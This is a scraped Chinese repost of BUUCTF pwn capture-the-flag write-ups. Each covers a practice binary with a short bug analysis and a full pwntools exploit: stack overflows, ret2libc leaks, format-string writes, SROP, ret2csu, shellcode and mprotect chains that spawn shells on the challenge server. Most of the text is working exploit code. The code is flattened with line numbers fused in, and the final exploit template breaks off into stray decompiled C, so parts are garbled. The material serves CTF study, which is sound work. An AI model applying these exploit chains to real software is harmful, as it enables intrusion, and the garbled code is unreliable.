BUUCTF

您所在的位置:网站首页 ctf payload BUUCTF

BUUCTF

#BUUCTF| 来源: 网络整理| 查看: 265

Stackpwn1

checksec什么保护都没开,到程序里发现有个fun函数可以调用shell,那我们直接覆盖rip指向这里就可以了

EXP

123456789from pwn import *#sh = process("./pwn1")sh = remote("node3.buuoj.cn",29918)payload = "a"*23payload +=p64(0x0000000000401198)+p64(0x0000000000401186)#sh.recvuntil("put\n")sleep(2)sh.sendline(payload)sh.interactive()

这里有点不太明白,为什么直接将rip指向0x401186就不可以

warmup_csaw_2016 和上一个类似程序中有个sub_40060d的函数可以直接查看flag,控制eip指向这个函数即可

EXP

12345678from pwn import *sh = process("./warmup_csaw_2016")sh = remote("node3.buuoj.cn",27439)payload = "a"*72cat = 0x40060Dsleep(2)sh.sendline(payload+p64(cat))sh.interactive()

控制EIP指向代码段

pwn1_sctf_2016

IDA分析程序流程,发现程序只可以输入32个字符,而溢出点却要0x3c+4的大小

在往下看,会发现如果用户输入“I”的话会被转换位“you”,也就是说一个“I”占三位,那么0x3c+4/3=21,只要输入21个“I”在加上随便一个字符串,就可以造成溢出。

另外程序中有个get_flag函数可以直接返回flag,接下来只要控制EIP指向这个函数的地址即可

EXP

123456from pwn import *sh = process("./pwn1_sctf_2016")sh = remote("node3.buuoj.cn",25401)payload = "I"*21+"a"+p32(0x08048F0D)sh.sendline(payload)sh.interactive()

要先绕过字符转换机制

ciscn_2019_n_1

简单的数据覆盖,可以看到v2距离用户输入的v1变量只差0x2c的距离,填充这个距离然后跟上11.28125即可

需要注意一点的是我们不能直接发送11.28125,可以在IDA里先看一下源程序是怎么表达这个浮点数的

EXP

1234567from pwn import *sh = process("./ciscn_2019_n_1")sh = remote("node3.buuoj.cn",27561)payload = "a"*(0x2c)+p64(0x41348000)sleep(1)sh.sendline(payload)sh.interactive()

数据覆盖

ciscn_2019_c_1

打开IDA分析源程序可以看到溢出点在encrypt函数的get(s)这里。

而传进来的字符串会被分别异或运算一下,但是会被strlen(s)控制是否异或,可以直接拿\x00截断strlen获取的长度

接下来就是直接利用puts函数来泄露libc地址,使用libc中的system获取shell

EXP

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253from pwn import *sh = process("./ciscn_2019_c_1")sh = remote("node3.buuoj.cn",26460)elf = ELF("./ciscn_2019_c_1")#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")context.terminal = ['tmux',"splitw","h"]context.log_level = 'debug'rdi_ret = 0x400c83ret = 0x4006b9puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]main_addr = elf.symbols['main']rdi_ret = 0x0000000000400c83ret = 0x4006b9puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]main_addr = elf.symbols['main']padding = "a"+'\x00'+86*"b"#padding = 88*"b"payload = paddingpayload += p64(rdi_ret)payload += p64(puts_got)payload += p64(puts_plt)payload += p64(main_addr)sh.recvuntil('Input your choice!')sh.sendline('1')sh.recvuntil("Input your Plaintext to be encrypted")gdb.attach(sh)sh.sendline(payload)#数据接收这里也是踩了好多的坑才接受到,还要多练习puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))log.success('puts_addr = ' + hex(puts_addr))base_addr = puts_addr - libc.sym['puts']log.success('base_addr = ' + hex(base_addr))system_addr = base_addr + libc.sym['system']binsh_addr = base_addr + libc.search("/bin/sh\x00").next()payload = paddingpayload += p64(ret) #因为远程服务器版本的问题,这里要填上ret来保持栈平衡payload += p64(rdi_ret) payload += p64(binsh_addr)payload += p64(system_addr)payload += p64(main_addr)sh.recvuntil('Input your choice!')sh.sendline('1')sh.recvuntil("Input your Plaintext to be encrypted")#gdb.attach(sh)sh.sendline(payload)sh.interactive()

\x00截断strlen(),以及不同环境的栈对齐

babyrop

IDA一步步分析可以看到是先生成了一个随机数传到buf上,之后进入sub_804871F并将buf带入函数中传给s,读取用户输入到buf上

接着获取用户输入的长度传给v1,然后使用strncmp来与s比较v1位。如果相同则将v5返回给v2,并带入sub_80487d0中,而该函数中的用户数入的大小,则可以由前面的v2决定的。

那么整体思路便是先用\x00来截断strncmp的比较,然后跟上较大的值如\xff,当程序到sub_80487d0函数中时,就可以构造ROP链进行溢出了

EXP

12345678910111213141516171819202122232425262728293031323334from pwn import *context.log_level='debug'sh = process("./babyrop")sh = remote("node3.buuoj.cn",27886)elf = ELF("./babyrop")libc = ELF("/lib/i386-linux-gnu/libc.so.6")libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]start_addr = 0x080485A0sleep(1)sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")sleep(1)payload = "a"*(0xe7+4)payload += p32(puts_plt)+p32(start_addr)+p32(puts_got)#sh.recvuntil("Correct\n")sh.sendline(payload)sh.recvline()puts_addr = u32(sh.recv(4))success("puts:0x%x",puts_addr)base_addr = puts_addr - libc.sym["puts"]success("base:0x%x",base_addr)system = base_addr + libc.sym["system"]binsh = base_addr + libc.search("/bin/sh").next()sh.recvline()sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")sleep(1)payload = "a"*(0xe7+4)payload += p32(system)+p32(start_addr)+p32(binsh)#sh.recvuntil("Correct\n")sh.sendline(payload)sh.interactive()

\x00截断strncmp()

ciscn_2019_en_2 和ciscn_2019_c_1一样

EXP

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748from pwn import *sh = process("./ciscn_2019_en_2")sh = remote("node3.buuoj.cn",25303)elf = ELF("./ciscn_2019_en_2")libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")context.terminal = ['tmux',"splitw","h"]context.log_level = 'debug'rdi_ret = 0x0000000000400c83ret = 0x4006b9puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]main_addr = elf.symbols['main']padding = "a"+'\x00'+86*"b"#padding = 88*"b"payload = paddingpayload += p64(rdi_ret)payload += p64(puts_got)payload += p64(puts_plt)payload += p64(main_addr)sh.recvuntil('Input your choice!')sh.sendline('1')sh.recvuntil("Input your Plaintext to be encrypted")#gdb.attach(sh)sh.sendline(payload)puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))log.success('puts_addr = ' + hex(puts_addr))base_addr = puts_addr - libc.sym['puts']log.success('base_addr = ' + hex(base_addr))system_addr = base_addr + libc.sym['system']binsh_addr = base_addr + libc.search("/bin/sh\x00").next()payload = paddingpayload += p64(ret)payload += p64(rdi_ret)payload += p64(binsh_addr)payload += p64(system_addr)payload += p64(main_addr)sh.recvuntil('Input your choice!')sh.sendline('1')sh.recvuntil("Input your Plaintext to be encrypted")#gdb.attach(sh)sh.sendline(payload)sh.interactive() get_started_3dsctf_2016

可以直接控制EIP返回到get_flag函数,然后传入参数1和参数2。或者直接控制EIP指向fopen(“flag.txt”,”rt”)处*0x080489b8*

EXP

12345678910111213141516171819from pwn import *context.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]sh = process("./get_started_3dsctf_2016")sh = remote("node3.buuoj.cn",26384)elf = ELF("./get_started_3dsctf_2016")a1 = 814536271a2 = 425138641get_flag = elf.sym["get_flag"]main = elf.sym["main"]openf = elf.sym["fopen"]padding = 56*"a"payload = padding+p32(get_flag)+p32(0x08048196)+p32(main)+p32(a1)+p32(a2)#payload = padding + p32(0x080489b8)#sh.recvuntil("Qual a palavrinha magica? ")gdb.attach(sh)sh.sendline(payload)#sh.recv()[26:]sh.interactive()

控制EIP指向某函数传值。但是在打远程的时候出了点问题,暂时找不到解决的办法

[第五空间2019决赛] pwn5

checksec查看程序保护,开启了canary,到IDA搜索一下未格式化的字符串,果然有

点进去仔细看程序结构,先是生成了一个随机数到unk_804c044,然后读取name到buf,读取passwd到nptr,最后拿nptr和先前生成的随机数判断是否相同。

那么就可以在输入name时构造格式化字符串任意地址写漏洞,将1写进去,然后再输入passwd时,传入1即可

EXP

123456789from pwn import *sh = process("./pwn5")sh = remote("node3.buuoj.cn",28799)sleep(1)payload = fmtstr_payload(10,{0x804C044:0x1})sh.sendline(payload)sh.recvuntil("passwd:")sh.sendline("1")sh.interactive()

格式化字符串漏洞,任意地址写

ciscn_2019_n_8

很简单,IDA分析,var的第13位为17即可,而var的类型又是qword占4字节,所以可以用P32()来直接填充

EXP

1234567from pwn import *sh = process("./ciscn_2019_n_8")sh = remote("node3.buuoj.cn",28898)sleep(1)payload = p32(17)*14sh.sendline(payload)sh.interactive()

填充QWORD类型的数据

ciscn_2019_s_3

利用SROP技术

因为程序中自带write函数,可以输出栈的地址,那么就只用接收一下这个地址,然后以该地址-read参数在栈中的偏移量就可以得出binsh的地址了。(具体偏移量在gdb中调试)

然后利用SigreturnFrame()框架来伪造Signal Frame,最后形成syscall(0x3b,"/bin/sh",0,0)的一条系统调用指令

EXP

1234567891011121314151617181920212223242526# -*- coding: utf-8 -*-from pwn import *context(arch='amd64',os='linux',log_level='debug',terminal=["tmux","splitw","-h"])sh = process('./ciscn_s_3')#p = remote('node3.buuoj.cn',29246)sigreturn = 0x4004DA #sigreturn,在程序中gadgets函数中找到read_write = 0x4004F1 #第一次溢出时返回到此处,以便接收后续的输入syscall = 0x400517 #syscall;ret 地址payload = '/bin/sh\x00' + 'a'*0x8 + p64(read_write) sh.send(payload)sh_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))- 0x118log.success('stack_addr: ' + hex(sh_addr+0x118))frame = SigreturnFrame()frame.rax = constants.SYS_execveframe.rdi = sh_addrframe.rsi = 0frame.rdx = 0frame.rsp = sh_addr-0x118 frame.rip = syscallpayload = 'a'*0x10+p64(sigreturn)+p64(syscall)+str(frame)sh.send(payload)sh.interactive() not_the_same_3dsctf_2016

第一次溢出先控制程序跳转至该函数,使flag.txt的值传到fl4g中

再次溢出,使用程序内已有的write函数,读取fl4g中的flag

EXP

12345678910111213141516171819from pwn import *context.terminal=["tmux","splitw","-h"]context.log_level="debug"sh=process("./not_the_same_3dsctf_2016")sh=remote("node3.buuoj.cn",29401)elf = ELF("./not_the_same_3dsctf_2016")get_shell = elf.sym["get_secret"]write = elf.sym['write']main = elf.sym['main']payload = "a"*45payload += p32(get_shell)+p32(main)sleep(1)#gdb.attach(sh)sh.sendline(payload)sleep(1)payload = "a"*45payload += p32(write)+p32(main)+p32(1)+p32(0x80eca2d)+p32(45)sh.sendline(payload)sh.interactive()

控制程序读取flag.txt,利用write函数再读取

[HarekazeCTF]babyrop

就是一个简单的64位rop,system函数和binsh字符串再程序中都有,再找一下pop rdi;ret代码段即可

另外就是flag文件居然没有再跟目录下,使用find / -name flag查找一下就可以了

EXP

12345678910from pwn import *sh=process("./babyrop_harekazeCTF")sh = remote("node3.buuoj.cn",29606)elf = ELF("./babyrop_harekazeCTF")system = elf.sym["system"]binsh = 0x0000000000601048 #ROPgadget --binary ./babyrop_harekazeCTF --string "/bin/sh"rdi_ret = 0x0000000000400683payload = "a"*24+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)sh.sendline(payload)sh.interactive() [HarekazeCTF]babyrop2

和babyrop基本一致,只是程序中没有了system和binsh。但是给出了libc版本,并且程序中有printf函数,拿来泄露基地址,最后利用libc中的system即可返回shell。

起初我泄露的是printf的got表,但是只在本地有效,远程完全无法泄露,而read却可以。

123456789101112131415161718192021222324from pwn import *context.log_level='debug'context.terminal = ["tmux","splitw","-h"]sh=process("./babyrop2_harekazeCTF")sh = remote("node3.buuoj.cn",28808)elf = ELF("./babyrop2_harekazeCTF")libc = ELF("libc/libc.so.6")#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")printf_plt = elf.plt["printf"]read_got = elf.got["read"]main = elf.sym["main"]rdi_ret = 0x0000000000400733payload = "a"*40payload +=p64(rdi_ret)+p64(read_got)+p64(printf_plt)+p64(main)sh.sendlineafter("? ",payload)base_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["read"]success("base_addr:0x%x",base_addr)system = base_addr+libc.sym["system"]binsh = base_addr+libc.search("/bin/sh").next() payload = "b"*40payload += p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)sh.sendline(payload)sh.interactive()

使用printf函数泄露read函数的got表,但不可以泄露printf的got表

[铁三第五赛区]2018_rop 简单的泄露libc

EXP

1234567891011121314151617181920212223from pwn import *sh =process("./tie3_2018_rop")sh = remote("node3.buuoj.cn",25832)elf = ELF("./tie3_2018_rop")libc = ELF("/lib/i386-linux-gnu/libc.so.6")libc = ELF("libc/libc6-i386_2.27-3ubuntu1_amd64 (1).so")write_plt = elf.plt["write"]write_got = elf.got["write"]main = 0x080484C6payload = "a"*140+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)sh.sendline(payload)write = u32(sh.recv(4))base = write-libc.sym["write"]success("wrtie:0x%x",write)success("base:0x%x",base)sleep(1)system = base+libc.sym["system"]binsh = base+libc.search("/bin/sh").next()payload = "a"*140+p32(system)+p32(main)+p32(binsh)sh.sendline(payload)sh.interactive() bjdctf_2020_babystack 第一次输入一个数值,该数值作为下一次输入的长度

EXP

12345678910111213#coding:utf-8from pwn import *#sh = process("./bjdctf_2020_babystack")sh = remote("node3.buuoj.cn",29848)payload = "a"*24payload += p64(0x00000000004006E6)sh.recvuntil("[+]Please input the length of your name:")sh.sendline("300")sh.recvuntil("[+]What's u name?")sh.sendline(payload)sh.interactive() bjdctf_2020_babyrop 简单的ret2libc 随便泄露个函数地址即可

EXP

1234567891011121314151617181920212223242526#coding:utf-8from pwn import *context.terminal = ["tmux","splitw","-h"]context.log_level = "debug"sh = process("./bjdctf_2020_babyrop")elf = ELF("./bjdctf_2020_babyrop")libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")puts_plt = elf.plt["puts"]puts_got = elf.got["puts"]main = elf.sym["main"]rdi_ret = 0x0000000000400733sh = remote("node3.buuoj.cn",28316)payload1 = "a"*40payload1 += p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)sh.recvuntil("story!\n")sh.sendline(payload1)puts = u64(sh.recvuntil('\x7f')[-6:].ljust(8,"\x00"))success("puts_addr:0x%x",puts)base_addr = puts-libc.symbols["puts"]success("base_addr:0x%x",base_addr)system = libc.sym["system"]+base_addrbinsh = libc.search("/bin/sh\x00").next()+base_addrpayload2 = "a"*40+p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)sh.recvuntil("story!\n")sh.sendline(payload2)sh.interactive() jarvisoj_level0 算是ret2text 程序内可以直接找到system(“/bin/sh”)的代码片段,返回到这里即可

EXP

123456789from pwn import *sh = process("./jarvisoj_level0")sh = remote("node3.buuoj.cn",27530)binsh = 0x000000000040059Apayload = "a"*0x88+p64(binsh)sh.sendline(payload)sh.interactive() jarvisoj_level1 考shellcode的一道题,需要先用recvuntil来接收buf的地址

EXP

123456789101112#coding:utf-8from pwn import *sh = process("./jarvisoj_level1")#sh = remote("node3.buuoj.cn",26460)#sh.sendline("aaa")buf = int(sh.recvuntil("?\n")[-10:-2],16)shellcode = asm(shellcraft.sh())+"\x00"print hex(buf)print shellcodepayload = shellcode.ljust(140,"a")+p32(buf)sh.sendline(payload)sh.interactive()

另外不清楚为什么本地和远程的题目不一样…..也就是说我拿不了flag…..

image-20200326230514660

jarvisoj_level2 这次没有直接的system("/bin/sh")这样完整的代码片段了,但是可以拼接一下 用ROPgadget再程序中搜索/bin/sh字符串 然后再利用再IDA中找到的call system的地址

EXP

123456789from pwn import *sh = process("./jarvisoj_level2")sh = remote("node3.buuoj.cn",26529)binsh = 0x0804a024system = 0x0804849Epayload = "a"*0x88+p32(system)+p32(system)+p32(binsh)sh.recvuntil("Input:\n")sh.sendline(payload)sh.interactive()

##jarvisoj_level2_x64

64位的版本,需要有一个pop rdi;ret片段来保持栈平衡

EXP

12345678910from pwn import *sh = process("./jarvisoj_level2_x64")sh = remote("node3.buuoj.cn",25463)binsh = 0x0000000000600a90system = 0x000000000040063Erdi_ret = 0x00000000004006b3payload = "a"*0x88+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)sh.recvuntil("Input:\n")sh.sendline(payload)sh.interactive() jarvisoj_fm 题目很明显 格式化字符串漏洞 12345678#coding:utf-8from pwn import *sh = process('./fm')sh = remote("node3.buuoj.cn",28272)x = 0x0804A02Cpayload = fmtstr_payload(11,{x:0x4})sh.sendline(payload)sh.interactive() jarvisoj_level3 还是ret2libc 123456789101112131415161718192021222324252627#coding:utf-8from pwn import *context.terminal = ["tmux","splitw","-h"]context.log_level = "debug"sh = process("./level3")elf = ELF("./level3")libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")write_plt = elf.plt["write"]write_got = elf.got["write"]main = elf.sym["main"]sh = remote("node3.buuoj.cn",29644)payload1 = "a"*140payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)sh.recvuntil("Input:\n")sh.sendline(payload1)write = u32(sh.recvuntil('\xf7')[-4:])success("write_addr:0x%x",write)base_addr = write-libc.symbols["write"]success("base_addr:0x%x",base_addr)system = libc.sym["system"]+base_addrbinsh = libc.search("/bin/sh\x00").next()+base_addrpayload2 = "a"*140+p32(system)+p32(system)+p32(binsh)sh.recvuntil("Input:\n")sh.sendline(payload2)sh.interactive() jarvisoj_levle3_x64 程序中只有write,如果想要泄露函数的地址的话,也就必须要凑齐rdi\rsi\rdx三个代码片段 但是程序中并没有找到,但是可以使用ret2csu的办法来泄露函数地址 需要注意一点的是,ret2csu 第一段gadgets的顺序

EXP

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#coding:utf-8from pwn import *context.terminal = ["tmux","splitw","-h"]context.log_level = "debug"sh = process("./jarvisoj_level3_x64")elf = ELF("./jarvisoj_level3_x64")libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")write_plt = elf.plt["write"]write_got = elf.got["write"]main = elf.sym["main"]sh = remote("node3.buuoj.cn",26767)gadget1 = 0x00000000004006A6gadget2 = 0x0000000000400690def csu(r12,r13,r14,r15,ret_addr): payload = "a"*0x88 payload += p64(gadget1) payload += 'b'*8 payload += p64(0) payload += p64(1) payload += p64(r12) payload += p64(r15)#参数3 payload += p64(r14)#参数2 payload += p64(r13)#参数1 payload += p64(gadget2) payload += 'c' * 0x38 payload += p64(ret_addr) sh.sendline(payload) sh.recvuntil("Input:\n")csu(write_got,1,write_got,8,main)write_addr=u64(sh.recv(8))print hex(write_addr)offset_addr = write_addr-libc.symbols['write']print hex(offset_addr)execve_addr = offset_addr + libc.symbols['execve']print hex(execve_addr)read_addr = elf.got['read'] bss_addr = elf.bss()csu(read_addr,0,bss_addr,16,main)sh.recvuntil("Input:\n")sh.send(p64(execve_addr)+'/bin/sh\x00')print "bss_addr:",hex(bss_addr)sh.recvuntil("Input:\n")csu(bss_addr,bss_addr+8,0,0,main)sh.interactive() jarvisoj_level4 和 level3基本一样 12345678910111213141516171819202122232425262728#coding:utf-8from pwn import *context.terminal = ["tmux","splitw","-h"]context.log_level = "debug"sh = process("./jarvisoj_level4")elf = ELF("./jarvisoj_level4")libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")#libc = ELF("/lib/i386-linux-gnu/libc.so.6")write_plt = elf.plt["write"]write_got = elf.got["write"]main = elf.sym["main"]sh = remote("node3.buuoj.cn",25463)payload1 = "a"*140payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)sh.sendline(payload1)write = u32(sh.recvuntil('\xf7')[-4:])success("write_addr:0x%x",write)base_addr = write-libc.symbols["write"]success("base_addr:0x%x",base_addr)system = libc.sym["system"]+base_addrbinsh = libc.search("/bin/sh\x00").next()+base_addrpayload2 = "a"*140+p32(system)+p32(system)+p32(binsh)sleep(1)sh.sendline(payload2)sh.interactive() jarvisoj_memonr 直接跳转到system的plt地址,cat flag的地址程序也直接给出来了 12345678#coding:utf-8from pwn import *sh = process("./jarvisoj_memory")sh = remote("node3.buuoj.cn",26542)payload = (0x13+4)*"a"payload += p32(0x08048440)+p32(0x08048440)+p32(0x80487e0)sh.sendline(payload)sh.interactive() jarvisoj_memonr 还是ret2csu的办法一把梭

EXP

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354#coding:utf-8from pwn import *context.terminal = ["tmux","splitw","-h"]context.log_level = "debug"#sh = process("./jarvisoj_level5")elf = ELF("./jarvisoj_level5")libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")write_plt = elf.plt["write"]write_got = elf.got["write"]main = elf.sym["main"]sh = remote("node3.buuoj.cn",26305)gadget1 = 0x00000000004006A6gadget2 = 0x0000000000400690def csu(r12,r13,r14,r15,ret_addr): payload = "a"*0x88 payload += p64(gadget1) payload += 'b'*8 payload += p64(0) payload += p64(1) payload += p64(r12) payload += p64(r15)#参数1 payload += p64(r14)#参数2 payload += p64(r13)#参数3 payload += p64(gadget2) payload += 'c' * 0x38 payload += p64(ret_addr) sh.sendline(payload) sh.recvuntil("Input:\n")csu(write_got,1,write_got,8,main)write_addr=u64(sh.recv(8))print hex(write_addr)offset_addr = write_addr-libc.symbols['write']print hex(offset_addr)execve_addr = offset_addr + libc.symbols['execve']print hex(execve_addr)read_addr = elf.got['read'] bss_addr = elf.bss()csu(read_addr,0,bss_addr,16,main)sh.recvuntil("Input:\n")#gdb.attach(sh)sh.send(p64(execve_addr)+'/bin/sh\x00')print "bss_addr:",hex(bss_addr)sh.recvuntil("Input:\n")csu(bss_addr,bss_addr+8,0,0,main)sh.interactive() PicoCTF_2018_rop_chain 看题目是让构造ROP链,把程序放到IDA中分析 得出构造rop链的思路为:win_function1->win_function2->0x0BAAAAAAD->flag->0x0DEADBAAD

EXP

12345678from pwn import *sh = process("./PicoCTF_2018_rop_chain")sh = remote("node3.buuoj.cn",29030)elf = ELF("./PicoCTF_2018_rop_chain")payload = "a"*(0x18+4)+p32(elf.sym["win_function1"])+p32(elf.sym["win_function2"])+p32(elf.sym["flag"])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)sh.sendline(payload)sh.interactive() PicoCTF_2018_buffer_overflow0

感觉这道题很有意思,是让运行程序时带上参数然后构成溢出

而argv1这个参数的值会被传给&dest,在这个过程产生了漏洞,而程序刚开始就已经将flag的值读取到了flag这个变量中,我们只需要让程序构成溢出,然后指向flag这个变量的地址即可

EXP

1./vuln aaaabaaacaaadaaaeaaafaaagaaa\x80\xa0\x04 wustctf2020_closed 用命令exec 1>&0把stdout重定向到stdin就返回shell了。

EXP

1234from pwn import*p = remote("node3.buuoj.cn",28568)p.sendline("exec 1>&0")p.interactive() wustctf2020_getshell_2

相比于getshell,该题的binsh字符串被打乱了

不过可以直接用ROPgadgets来搜索sh字符串,system("sh")也可以返回shell

然后就是buf空间的问题,28个字符后才可以控制程序执行,而buf缺只能输入36个字符

也就是说除去28个填充字符外,只可以再传入8位。

此时可以直接找一下程序中已有的代码段call system然后再加上sh刚好8位

12345678from pwn import*sh = process('./wustctf2020_getshell_2')sh = remote("node3.buuoj.cn",28459)#elf = ELF('./wustctf2020_getshell_2')system_call = 0x08048529payload = 'a'*28 + p32(system_call)+p32(0x08048670)sh.sendline(payload)sh.interactive() get_sta、rted_3dsctf_2016

可以看到只开启了nx保护

这里有两个常见的方法来获取flag

方法1:

使用程序中已有的get_flag函数来读取flag

使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271和425138641即可直接读取flag

这里需要注意一点,构造payload时返回地址不可以随便填写,因为在打远程时导致程序异常是不会给回显的,想要看到flag必须先要让程序正常退出,这里使用exit函数 1234567891011121314151617#coding:utf-8from pwn import *context.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]#sh = process("./get_started_3dsctf_2016")sh = remote("node3.buuoj.cn",26236)elf = ELF("./get_started_3dsctf_2016")a1 = 814536271a2 = 425138641get_flag = elf.sym["get_flag"]main = elf.sym["exit"]padding = 56*"a"payload = padding+p32(get_flag)+p32(main)+p32(a1)+p32(a2)#gdb.attach(sh)sleep(1)sh.sendline(payload)sh.interactive()

方法2:

使用mprotect函数修改bss段权限来执行shellcode

使用gdb中的vmmap先来看一下bss段的权限

确定好溢出位后payload布局如下

mprotect函数+pop *;ret+参数1\2\3+返回地址[read函数]+pop *;ret+参数1\2\3+返回地址[shellcode_addr]

也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret来返回到指定地址如read函数上以读取shellcode到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret片段返回到shellcode的位置上即可。

EXP

12345678910111213141516171819202122232425262728from pwn import *p=process('./get_started_3dsctf_2016')#p=remote('node3.buuoj.cn',28216)elf=ELF('./get_started_3dsctf_2016')context.terminal = ["tmux","splitw","-h"]context.log_level = "debug"bss_addr = 0x80eb000shellcode_addr = 0x080EB500pop_3_ret=0x080483b8 #pop esi;pop edi;pop ebp;retpayload='a'*0x38payload += p32(elf.symbols['mprotect'])payload += p32(pop_3_ret)payload += p32(bss_addr)payload += p32(0x1000)payload += p32(0x7)payload += p32(elf.symbols['read'])payload += p32(pop_3_ret)payload += p32(0)payload += p32(shellcode_addr)payload += p32(0x100)payload += p32(shellcode_addr)p.sendline(payload)sleep(1)payload=asm(shellcraft.sh())#gdb.attach(p)p.sendline(payload)p.interactive()

pwn2_sctf_2016程序分析

没有栈保护没有PIE

简单分析伪代码可以得知,第一次输入的内容必须小于32,

但在后面的再次输入中,必须大于44才能进行溢出,这里就要绕过v2>32的这个判断

而在get_n函数中,我们可以发现传入的参数a2是个无符号类型的整数,而这恰好可以通过整形溢出来就行绕过,我们可以输入-1,继续运行程序可以看到此时便输入很多的数据对程序进行溢出了。

利用思路

通过整形溢出绕过大小的限制

之后通过程序中的printf函数对printf函数地址进行泄露

(其中要注意printf函数中需要有一个格式化字符的参数,这个可以拿程序中的13行printf时的格式化字符进行直接利用)

当泄露出printf的地址后,算出libc的基地址,进而加载system和binsh的地址,最后再次溢出即可getshell

EXP123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108#!/usr/bin/env python2# -*- coding: utf-8 -*- ## @偏有宸机_Exploit-Template# Exploiting: python exploit.py [IP PORT] [Exploit_Template]# Edit values:# - RemPro()# - elf_addr# - libc_addr# - enable_Onegadgets# - exp()import osimport sysimport subprocessfrom pwn import *from one_gadget import generate_one_gadget # context.terminal = ["tmux","splitw","-h"]context.terminal = ["tmux","new-window"]# context.log_level = "debug"### 远程本地连接def RemPro(ip='',port=''): global sh,elf,libc,one_ggs elf_addr = "./pwn2_sctf_2016" # 本地ELF libc_addr = "/lib/i386-linux-gnu/libc.so.6" # Libc文件 pro_libc = "/home/da1sy/DA1SY-Win/CTF/libc/16.04/32node3.buuoj.cn:29297/libc.so.6" if len(sys.argv) > 2 : sh = remote(sys.argv[1],sys.argv[2]) try: libc = ELF(pro_libc) libc_addr = pro_libc except: log.info("No set Remote_libc...") libc = ELF(libc_addr) else: libc = ELF(libc_addr) try: sh = remote(ip,port) libc = ELF(pro_libc) libc_addr = pro_libc except: sh = process(elf_addr) # one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207] one_ggs = one_gadget(libc_addr) elf = ELF(elf_addr) return 1### 调试用def debug(cmd=""): if len(sys.argv) 3 : eval(sys.argv[3])() elif (len(sys.argv)>1 and len(sys.argv) 3 ) { if ( v3 == 4 ) exit(0); if ( v3 == 4869 ) { if ( (unsigned __int64)magic


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3